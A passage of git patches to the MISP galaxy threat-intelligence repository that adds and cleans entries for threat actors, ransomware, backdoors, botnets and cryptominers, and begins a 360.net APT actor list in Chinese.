MEDLEY" @@ -9093,7 +9097,10 @@ "refs": [ "https://www.bleepingcomputer.com/news/security/new-toddycat-apt-group-targets-exchange-servers-in-asia-europe/", "https://securelist.com/toddycat/106799/", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://community.riskiq.com/article/d8b749f2", + "https://teamt5.org/en/posts/assassinations-of-minininja-in-various-apac-countries/" ], "synonyms": [ "Websiic" @@ -9484,7 +9491,8 @@ "https://securelist.com/apt-trends-report-q2-2019/91897", "https://securelist.com/apt-trends-report-q2-2020/97937", "https://securelist.com/it-threat-evolution-q2-2020/98230", - "https://securelist.com/apt-trends-report-q3-2021/104708" + "https://securelist.com/apt-trends-report-q3-2021/104708", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ "SixLittleMonkeys" @@ -9708,5 +9716,5 @@ "value": "Aoqin Dragon" } ], - "version": 244 + "version": 245 } From d866b23801166bff0dca7a2171bcf6f32cce6985 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Sun, 4 Sep 2022 11:21:30 +0200 Subject: [PATCH 108/167] chg: [doc] index updated --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 5dd80a3..a5f6287 100644 --- a/README.md +++ b/README.md @@ -31,7 +31,7 @@ Category: *tool* - source: *Open Sources* - total: *431* elements [Azure Threat Research Matrix](https://www.misp-project.org/galaxy.html#_azure_threat_research_matrix) - The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse. -Category: *atrm* - source: *https://github.com/microsoft/Azure-Threat-Research-Matrix* - total: *80* elements +Category: *atrm* - source: *https://github.com/microsoft/Azure-Threat-Research-Matrix* - total: *89* elements [[HTML](https://www.misp-project.org/galaxy.html#_azure_threat_research_matrix)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/atrm.json)] @@ -151,7 +151,7 @@ Category: *tool* - source: *Malpedia* - total: *2462* elements [Microsoft Activity Group actor](https://www.misp-project.org/galaxy.html#_microsoft_activity_group_actor) - Activity groups as described by Microsoft -Category: *actor* - source: *MISP Project* - total: *15* elements +Category: *actor* - source: *MISP Project* - total: *14* elements [[HTML](https://www.misp-project.org/galaxy.html#_microsoft_activity_group_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/microsoft-activity-group.json)] @@ -463,7 +463,7 @@ Category: *tea-matrix* - source: ** - total: *7* elements [Threat Actor](https://www.misp-project.org/galaxy.html#_threat_actor) - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group. -Category: *actor* - source: *MISP Project* - total: *411* elements +Category: *actor* - source: *MISP Project* - total: *398* elements [[HTML](https://www.misp-project.org/galaxy.html#_threat_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json)] @@ -471,7 +471,7 @@ Category: *actor* - source: *MISP Project* - total: *411* elements [Tool](https://www.misp-project.org/galaxy.html#_tool) - threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries. -Category: *tool* - source: *MISP Project* - total: *533* elements +Category: *tool* - source: *MISP Project* - total: *537* elements [[HTML](https://www.misp-project.org/galaxy.html#_tool)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/tool.json)] From 775d3c183b3f6dfa333a374396b8106464c48ab8 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 7 Sep 2022 09:26:38 +0200 Subject: [PATCH 109/167] Add Lockbit synonym --- clusters/ransomware.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 23a7c2f..67a8ef0 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -14340,7 +14340,7 @@ "refs": [ "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/", "https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware" - ] + ], "synonyms": ["ABCD ransomware"] }, "uuid": "8eda8bf1-db5a-412d-8511-45e2f7621d51", "value": "LockBit" @@ -24584,5 +24584,5 @@ "value": "Maui ransomware" } ], - "version": 106 + "version": 107 } From 77db2370b1b932a175133e5a4a171cd8644d60c0 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 7 Sep 2022 11:00:41 +0200 Subject: [PATCH 110/167] Add Lockbit synonym --- clusters/ransomware.json | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 67a8ef0..b8f79d5 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -14331,6 +14331,10 @@ { "description": "LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force.\nAfter gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.", "meta": { + "extensions": [ + ".abcd", + ".LockBit" + ], "ransomnotes-filenames": [ "Restore-My-Files.txt" ], @@ -14340,7 +14344,10 @@ "refs": [ "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/", "https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware" - ], "synonyms": ["ABCD ransomware"] + ], + "synonyms": [ + "ABCD ransomware" + ] }, "uuid": "8eda8bf1-db5a-412d-8511-45e2f7621d51", "value": "LockBit" From 0440db12e91ee38312fb055f32a555f753fba9a4 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 7 Sep 2022 11:01:23 +0200 Subject: [PATCH 111/167] add DangerousSavanna campaign --- clusters/threat-actor.json | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5a92312..9fd1ae4 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9714,7 +9714,27 @@ }, "uuid": "fa1fdccb-1a06-4607-bd45-1a7df4db02d7", "value": "Aoqin Dragon" + }, + { + "description": "Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast, Morocco, Cameroon, Senegal, and Togo.\nDangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors’ creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.", + "meta": { + "cfr-suspected-victims": [ + "Ivory Coast", + "Morocco", + "Cameroon", + "Senegal", + "Togo" + ], + "refs": [ + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/" + ], + "threat-actor-classification": [ + "campaign" + ] + }, + "uuid": "1bb64526-cc51-475a-b6bc-af30df9f2fb6", + "value": "DangerousSavanna" } ], - "version": 245 + "version": 246 } From 705d0d2e7208dd8784ff7b2eb5afeb9f4427c577 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Mon, 12 Sep 2022 10:51:43 +0200 Subject: [PATCH 112/167] add BumbleBee backdoor --- clusters/tool.json | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 64d3048..8737a0e 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8570,7 +8570,29 @@ }, "uuid": "0bdb6f1c-1229-4556-a535-7444ddfbd7a9", "value": "GootLoader" + }, + { + "description": "BumbleBee is a modular backdoor that comprises two applications, a server and a client application (a master and slaver application, respectively in the malware’s jargon). Once the client application is deployed on the target computer (these are commonly local government devices), threat actors can control the machine using the server module. Let us take a deeper look into this backdoor.", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html" + ], + "type": [ + "backdoor" + ] + }, + "related": [ + { + "dest-uuid": "96b2b31e-b191-43c4-9929-48ba1cbee62c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "related-to" + } + ], + "uuid": "6fc4beee-b922-4d25-833d-8fb574a3c56e", + "value": "BumbleBee" } ], - "version": 153 + "version": 154 } From 273c7c9b97665586ebc9fc138088312b0a969737 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Mon, 12 Sep 2022 17:10:49 -0700 Subject: [PATCH 113/167] [threat-actors] Remove Xenotime duplicate --- clusters/threat-actor.json | 19 +++---------------- 1 file changed, 3 insertions(+), 16 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 9fd1ae4..5d6d977 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5708,21 +5708,6 @@ "uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1", "value": "CHRYSENE" }, - { - "description": "Adversaries abusing ICS (based on Dragos Inc adversary list).", - "meta": { - "capabilities": "TRISIS, custom credential harvesting", - "mode-of-operation": "Focused on physical destruction and long-term persistence", - "refs": [ - "https://dragos.com/adversaries.html" - ], - "since": "2014", - "synonyms": [], - "victimology": "Oil and Gas, Middle East" - }, - "uuid": "3dddc77e-a52a-466a-bf1c-1463e352077f", - "value": "XENOTIME" - }, { "description": "ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.", "meta": { @@ -7127,7 +7112,9 @@ "refs": [ "https://dragos.com/resource/trisis-analyzing-safety-system-targeting-malware/", "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", - "https://attack.mitre.org/groups/G0088/" + "https://attack.mitre.org/groups/G0088/", + "https://cyberthreat.thalesgroup.com/attackers/ATK91", + "https://www.dragos.com/threat/xenotime/" ], "synonyms": [ "Xenotime", From 6dba3abe13135136a25000f62d788a4e1607c961 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 13 Sep 2022 10:40:00 +0200 Subject: [PATCH 114/167] add hezb --- clusters/cryptominers.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/cryptominers.json b/clusters/cryptominers.json index 91a3bcf..b878640 100644 --- a/clusters/cryptominers.json +++ b/clusters/cryptominers.json @@ -62,7 +62,17 @@ }, "uuid": "a0c0ab05-c390-425c-9311-f64bf7ca9145", "value": "Krane" + }, + { + "description": "“Hezb”, which is based on command line artifact data, was observed around Kinsing. This malware is relatively new and was recently reported in late May exploiting WSO2 RCE (CVE-2022-29464) in the wild. Several malware components were observed, the first of which was an XMRig miner installed as “Hezb”. Additional modules included a polkit exploit for privilege escalation as well as a zero-detection ELF payload named “kik”.", + "meta": { + "refs": [ + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" + ] + }, + "uuid": "428bbf01-7756-48a2-848d-6bca3997f1df", + "value": "Hezb" } ], - "version": 2 + "version": 3 } From e3d88f45c6b6895161cea3ae7519e97c185de3ad Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 13 Sep 2022 13:35:55 +0200 Subject: [PATCH 115/167] add Dark.IoT --- clusters/botnet.json | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index dd9f867..df6dea5 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1364,7 +1364,26 @@ ], "uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", "value": "Qbot" + }, + { + "description": "This malware is characterized by alternative DNS connections and connects to several *.lib domains using custom DNS servers.", + "meta": { + "refs": [ + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" + ] + }, + "related": [ + { + "dest-uuid": "fcdfd4af-da35-49a8-9610-19be8a487185", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "variant-of" + } + ], + "uuid": "505c6a54-a701-4a4b-85d4-0f2038b7b46a", + "value": "Dark.IoT" } ], - "version": 27 + "version": 28 } From 4ff0bdfe8e5566caed8db1c4ec2f7da118c63fe2 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 13 Sep 2022 11:34:02 -0700 Subject: [PATCH 116/167] [threat-actors] Clean TA505 aliases --- clusters/threat-actor.json | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 9fd1ae4..8b34790 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6442,14 +6442,14 @@ "https://www.secureworks.com/research/threat-profiles/gold-tahoe", "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic" + "https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic", + "https://cyberthreat.thalesgroup.com/attackers/ATK103" ], "synonyms": [ "SectorJ04 Group", "GRACEFUL SPIDER", "GOLD TAHOE", "Dudear", - "TEMP.Warlock", "G0092", "ATK103" ] @@ -8061,8 +8061,7 @@ ], "synonyms": [ "TEMP.Warlock", - "UNC902", - "GRACEFUL SPIDER" + "UNC902" ] }, "uuid": "c01aadc6-1087-4e8e-8d5c-a27eba409fe3", From e1f5d3b5d81d317583c2513fd9142f95b11a4b07 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 13 Sep 2022 11:40:17 -0700 Subject: [PATCH 117/167] [threat-actors] Keep meta from old Xenotime --- clusters/threat-actor.json | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5d6d977..a4ff9d4 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -7109,6 +7109,8 @@ { "description": "TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.", "meta": { + "capabilities": "TRISIS, custom credential harvesting", + "mode-of-operation": "Focused on physical destruction and long-term persistence", "refs": [ "https://dragos.com/resource/trisis-analyzing-safety-system-targeting-malware/", "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", @@ -7116,11 +7118,13 @@ "https://cyberthreat.thalesgroup.com/attackers/ATK91", "https://www.dragos.com/threat/xenotime/" ], + "since": "2014", "synonyms": [ "Xenotime", "G0088", "ATK91" - ] + ], + "victimology": "Oil and Gas, Middle East" }, "uuid": "90abfc42-91c6-11e9-89b1-af58de8f7ec2", "value": "TEMP.Veles" From c5a5fa7cfaa80654016fca510a17be0b1621edf1 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Tue, 13 Sep 2022 21:47:14 +0200 Subject: [PATCH 118/167] chg: [360net] add 360.net APT list fixes #764 --- README.md | 9 +- clusters/360net.json | 894 +++++++++++++++++++++++++++++++++++++++++++ galaxies/360net.json | 9 + tools/gen_360net.py | 87 +++++ 4 files changed, 998 insertions(+), 1 deletion(-) create mode 100644 clusters/360net.json create mode 100644 galaxies/360net.json create mode 100755 tools/gen_360net.py diff --git a/README.md b/README.md index a5f6287..5f34ce6 100644 --- a/README.md +++ b/README.md @@ -18,6 +18,13 @@ The objective is to have a comment set of clusters for organizations starting an to localized information (which is not shared) or additional information (that can be shared). # Available Galaxy - clusters +## 360.net Threat Actors + +[360.net Threat Actors](https://www.misp-project.org/galaxy.html#_360.net_threat_actors) - Known or estimated adversary groups as identified by 360.net. + +Category: *actor* - source: *https://apt.360.net/aptlist* - total: *42* elements + +[[HTML](https://www.misp-project.org/galaxy.html#_360.net_threat_actors)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/360net.json)] ## Android @@ -463,7 +470,7 @@ Category: *tea-matrix* - source: ** - total: *7* elements [Threat Actor](https://www.misp-project.org/galaxy.html#_threat_actor) - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group. -Category: *actor* - source: *MISP Project* - total: *398* elements +Category: *actor* - source: *MISP Project* - total: *397* elements [[HTML](https://www.misp-project.org/galaxy.html#_threat_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json)] diff --git a/clusters/360net.json b/clusters/360net.json new file mode 100644 index 0000000..506c067 --- /dev/null +++ b/clusters/360net.json @@ -0,0 +1,894 @@ +{ + "authors": [ + "360.net" + ], + "category": "actor", + "description": "Known or estimated adversary groups as identified by 360.net.", + "name": "360.net Threat Actors", + "source": "https://apt.360.net/aptlist", + "type": "360net-threat-actor", + "uuid": "20de4abf-f000-48ec-a929-3cdc5c2f3c23", + "values": [ + { + "description": "美国中央情报局（英语：Central Intelligence Agency），总部位于美国弗吉尼亚州的兰利。与苏联国家安全委员会（克格勃）、英国军情六处和以色列摩萨德，并称为“世界四大情报机构”。\n其主要任务是公开和秘密地收集和分析关于国外政府、公司、恐怖组织、个人、政治、文化、科技等方面的情报，协调其它国内情报机构的活动，并把这些情报报告到美国政府各个部门的工作。", + "meta": { + "country": "america", + "refs": [ + "https://apt.360.net/report/apts/96.html", + "https://apt.360.net/report/apts/12.html" + ], + "suspected-victims": [ + "中国" + ], + "synonyms": [ + "Lamberts", + "longhorn" + ], + "target-category": [ + "媒体通讯", + "工业科研", + "航空航天等重要机构" + ] + }, + "uuid": "988e1441-0350-5c39-979d-b0ca99c8d20b", + "value": "CIA - APT-C-39" + }, + { + "description": "海莲花（OceanLotus）APT团伙是一个高度组织化的、专业化的境外国家级黑客组织，其最早由360发现并披露。该组织至少自2012年4月起便针对中国政府、科研院所、海事机构、海域建设、航运企业等相关重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。", + "meta": { + "country": "vietnam", + "refs": [ + "https://apt.360.net/report/apts/1.html", + "https://apt.360.net/report/apts/93.html", + "https://apt.360.net/report/apts/94.html" + ], + "suspected-victims": [ + "中国", + "越南" + ], + "synonyms": [ + "OceanLotus" + ], + "target-category": [ + "政府", + "科研" + ] + }, + "uuid": "ad1a6df6-2251-5e47-a245-8693c1ace8fb", + "value": "海莲花 - APT-C-00" + }, + { + "description": "摩诃草组织（APT-C-09），又称HangOver、VICEROY TIGER、The Dropping Elephant、Patchwork，是一个来自于南亚地区的境外APT组织，该组织已持续活跃了7年。摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。", + "meta": { + "country": "india", + "refs": [ + "https://apt.360.net/report/apts/110.html", + "https://apt.360.net/report/apts/6.html" + ], + "suspected-victims": [ + "中国及中国驻外大使馆" + ], + "synonyms": [ + "HangOver", + "VICEROY TIGER", + "The Dropping Elephant", + "Patchwork" + ], + "target-category": [ + "外交军事", + "关键制造基础设施", + "政府金融等重要机构" + ] + }, + "uuid": "231a81cd-4e24-590b-b084-1a4715b30d67", + "value": "摩诃草 - APT-C-09" + }, + { + "description": "从2014年11月起至今，黄金鼠组织（APT-C-27）对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台从开始的Windows平台逐渐扩展至Android平台", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/100.html", + "https://apt.360.net/report/apts/98.html", + "https://apt.360.net/report/apts/26.html" + ], + "suspected-victims": [ + "叙利亚" + ], + "synonyms": [], + "target-category": [ + "军事", + "政府" + ] + }, + "uuid": "b3b6f113-fe2c-5d75-ba41-b333ce726f4a", + "value": "黄金鼠 - APT-C-27" + }, + { + "description": "Lazarus组织是来自朝鲜的APT组织，该组织长期对韩国、美国、中国、印度等国家进行渗透攻击，此外还对全球的金融机构进行攻击，堪称全球金融机构的最大威胁。该组织最早的攻击活动可以追溯到2007年。", + "meta": { + "country": "korea", + "refs": [ + "https://apt.360.net/report/apts/9.html", + "https://apt.360.net/report/apts/101.html", + "https://apt.360.net/report/apts/90.html" + ], + "suspected-victims": [ + "中国", + "韩国", + "美国", + "印度等国家" + ], + "synonyms": [ + "APT38" + ], + "target-category": [ + "工业科研", + "外交外贸", + "媒体金融", + "核设施" + ] + }, + "uuid": "e6f4af06-fbb5-5471-82ae-b0bdb4d446ce", + "value": "Lazarus - APT-C-26" + }, + { + "description": "黄金雕组织的活动主要影响中亚地区，大部分集中在哈萨克坦国境内，攻击目标涉及教育行业、政府机关人员、科研人员、媒体工作人员、部分商务工业、军方人员、宗教人员、政府异见人士和外交人员等。该组织使用社会工程学、物理接触、无线电监听等方式进行网络攻击，同时也采购了HackingTeam、NSO Group等网络军火商的武器，具备0day漏洞的高级入侵能力。360参照中亚地区擅长驯养猎鹰进行狩猎的习俗特性，将该组织命名为黄金雕（APT-C-34）", + "meta": { + "country": "kaz", + "refs": [ + "https://apt.360.net/report/apts/11.html" + ], + "suspected-victims": [], + "synonyms": [], + "target-category": [] + }, + "uuid": "03e70e52-ec27-5961-bb53-d4c8c737addc", + "value": "黄金雕 - APT-C-34" + }, + { + "description": "从2018年4月起至今，一个疑似来自南美洲的APT组织盲眼鹰（APT-C-36）针对哥伦比亚政府机构和大型公司（金融、石油、制造等行业）等重要领域展开了有组织、有计划、针对性的长期不间断攻击。", + "meta": { + "country": "namerica", + "refs": [ + "https://apt.360.net/report/apts/83.html" + ], + "suspected-victims": [], + "synonyms": [], + "target-category": [] + }, + "uuid": "c111ae65-f889-56b0-b266-f54342977da5", + "value": "盲眼鹰 - APT-C-36" + }, + { + "description": "2018年11月25日，360高级威胁应对团队就在全球范围内第一时间发现了一起针对俄罗斯的APT攻击行动，攻击目标则指向俄罗斯总统办公室所属的医疗机构，此次攻击行动使用了Flash 0day漏洞cve-2018-15982和Hacking Team的RCS后门程序，结合被攻击目标医疗机构的职能特色，360将此次APT攻击命名为“毒针”行动。", + "meta": { + "country": "kaz", + "refs": [ + "https://apt.360.net/report/apts/10.html" + ], + "suspected-victims": [ + "俄罗斯" + ], + "synonyms": [], + "target-category": [ + "政府" + ] + }, + "uuid": "5ae4eb64-5431-5b5c-987b-891e7ab5858c", + "value": "毒针 - APT-C-31" + }, + { + "description": "2016年7月，360发现一起针对伊朗Android手机用户长达两年之久的APT攻击活动。攻击者借助社交软件Telegram分享经过伪装的ArmaRat木马，入侵成功后攻击者可以完全控制用户手机，并对用户手机进行实时监控。由于该木马演变过程中C&C及代码结构均出现“arma”关键字，所以我们将该组织命名为“ArmaRat”。", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/48.html" + ], + "suspected-victims": [ + "伊朗" + ], + "synonyms": [], + "target-category": [ + "政府" + ] + }, + "uuid": "e66dfa3d-3295-503c-bdea-64d88e2b310d", + "value": "ArmaRat - APT-C-33" + }, + { + "description": "从2015年7月起至今，军刀狮组织（APT-C-38）在中东地区展开了有组织、有计划、针对性的不间断攻击，其攻击平台为Windows和Android。由于军刀狮组织的攻击目标有一个主要的特色目标是西亚中东某国的库尔德人，另Windows端RAT包含的PDB路径下出现多次的“Saber”，而亚洲狮为该中东国家的代表动物，结合该组织的一些其它特点以及360对 APT 组织的命名规则，我们将该组织命名为军刀狮（APT-C-38）。", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/30.html" + ], + "suspected-victims": [ + "中东地区" + ], + "synonyms": [], + "target-category": [ + "政府" + ] + }, + "uuid": "671197ae-ba70-5a81-90a5-1ba5e2ad6f76", + "value": "军刀狮 - APT-C-38" + }, + { + "description": "拍拍熊组织（APT-C-37）针对极端组织“伊斯兰国”展开了有组织、有计划、针对性的长期不间断攻击，其攻击平台为Windows和Android。", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/103.html", + "https://apt.360.net/report/apts/28.html" + ], + "suspected-victims": [ + "ISIS" + ], + "synonyms": [], + "target-category": [ + "军事", + "政府" + ] + }, + "uuid": "74f08d5a-e94d-53cb-bdd7-31d2f8c8db2b", + "value": "拍拍熊 - APT-C-37" + }, + { + "description": "APT-C-15是一个来自于中东地区的境外APT组织。 APT-C-15组织主要针对埃及,以色列等中东地区进行网络间谍活动，以窃取敏感信息为主。 活跃时间主要集中在2014年6月到2015年11月期间，相关攻击活动最早可以追溯到2011年12月。主要采用利用社交网络进行水坑攻击。", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/8.html" + ], + "suspected-victims": [ + "埃及", + "以色列" + ], + "synonyms": [], + "target-category": [ + "政府" + ] + }, + "uuid": "55177506-57bf-503e-8a24-9ed06bd28f16", + "value": "人面狮 - APT-C-15" + }, + { + "description": "美人鱼组织（APT-C-07），来自于中东的境外APT组织，已持续活跃了9年。 主要针对政府机构进行网络间谍活动，以窃取敏感信息为目的，已经证实有针对丹麦外交部的攻击。", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/4.html" + ], + "suspected-victims": [ + "丹麦" + ], + "synonyms": [], + "target-category": [ + "政府", + "外交" + ] + }, + "uuid": "51954972-101b-5213-971c-b335ceb810ea", + "value": "美人鱼 - APT-C-07" + }, + { + "description": "2016年1月起至今，双尾蝎组织对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台包括 Windows 与 Android，攻击范围主要为中东地区", + "meta": { + "country": "mideast", + "refs": [ + "https://apt.360.net/report/apts/27.html" + ], + "suspected-victims": [ + "巴勒斯坦", + "中国等驻外大使馆" + ], + "synonyms": [], + "target-category": [ + "政府", + "IT", + "军事", + "教育" + ] + }, + "uuid": "ce0bcfbd-9924-5c82-9ad3-845db745e7f7", + "value": "双尾蝎 - APT-C-23" + }, + { + "description": "从2011年开始持续至今，高级攻击组织蓝宝菇（APT-C-12）对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在中国大陆境内。", + "meta": { + "country": "taiwan", + "refs": [ + "https://apt.360.net/report/apts/7.html" + ], + "suspected-victims": [ + "中国" + ], + "synonyms": [ + "核危机行动（Operation NuclearCrisis）" + ], + "target-category": [ + "政府", + "航空航天、教育", + null, + "军事" + ] + }, + "uuid": "7094494b-a91b-532f-9968-082fa683bfc4", + "value": "蓝宝菇 - APT-C-12" + }, + { + "description": "从2007年开始至今，360追日团队发现毒云藤组织对中国国防、政府、科技、教育以及海事机构等重点单位和部门进行了长达数十年的网络间谍活动。该组织主要关注军工、中美关系、两岸关系和海洋相关领域。", + "meta": { + "country": "taiwan", + "refs": [ + "https://apt.360.net/report/apts/2.html" + ], + "suspected-victims": [ + "中国" + ], + "synonyms": [ + "穷奇", + "白海豚", + "绿斑" + ], + "target-category": [ + "政府", + "科研", + "国防", + "海事机构等重要机构" + ] + }, + "uuid": "98df38d1-f83c-5c28-ad11-75aa6b493fe7", + "value": "毒云藤 - APT-C-01" + }, + { + "description": "Darkhotel（APT-C-06）组织是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2014年11月，卡巴斯基实验室的安全专家首次发现了Darkhotel APT组织，并声明该组织至少从2010年就已经开始活跃，目标基本锁定在韩国、中国、俄罗斯和日本。", + "meta": { + "country": "southKorea", + "refs": [ + "https://apt.360.net/report/apts/3.html", + "https://apt.360.net/report/apts/97.html" + ], + "suspected-victims": [ + "中国", + "日本", + "俄罗斯", + "朝鲜半岛" + ], + "synonyms": [ + "Luder", + "Karba", + "Tapaoux", + "Dubnium", + "SIG25" + ], + "target-category": [ + "军事", + "外贸外交", + "工业能源", + "科研等重要机构" + ] + }, + "uuid": "f52ab8b8-71f2-5a88-946f-853dc3441efe", + "value": "Darkhotel - APT-C-06" + }, + { + "description": "APT28(APT-C-20)，又称Pawn Storm、Sofacy、Sednit、Fancy Bear和Strontium。APT28组织被怀疑幕后和俄罗斯政府有关，该组织相关攻击时间最早可以追溯到2007年。其主要目标包括国防工业、军队、政府组织和媒体", + "meta": { + "country": "russia", + "refs": [ + "https://apt.360.net/report/apts/120.html", + "https://apt.360.net/report/apts/72.html" + ], + "suspected-victims": [ + "美国", + "欧洲", + "乌克兰" + ], + "synonyms": [ + "Pawn Storm", + "Sofacy Group", + "Sednit", + "Fancy Bear", + "STRONTIUM" + ], + "target-category": [ + "媒体", + "国防工业", + 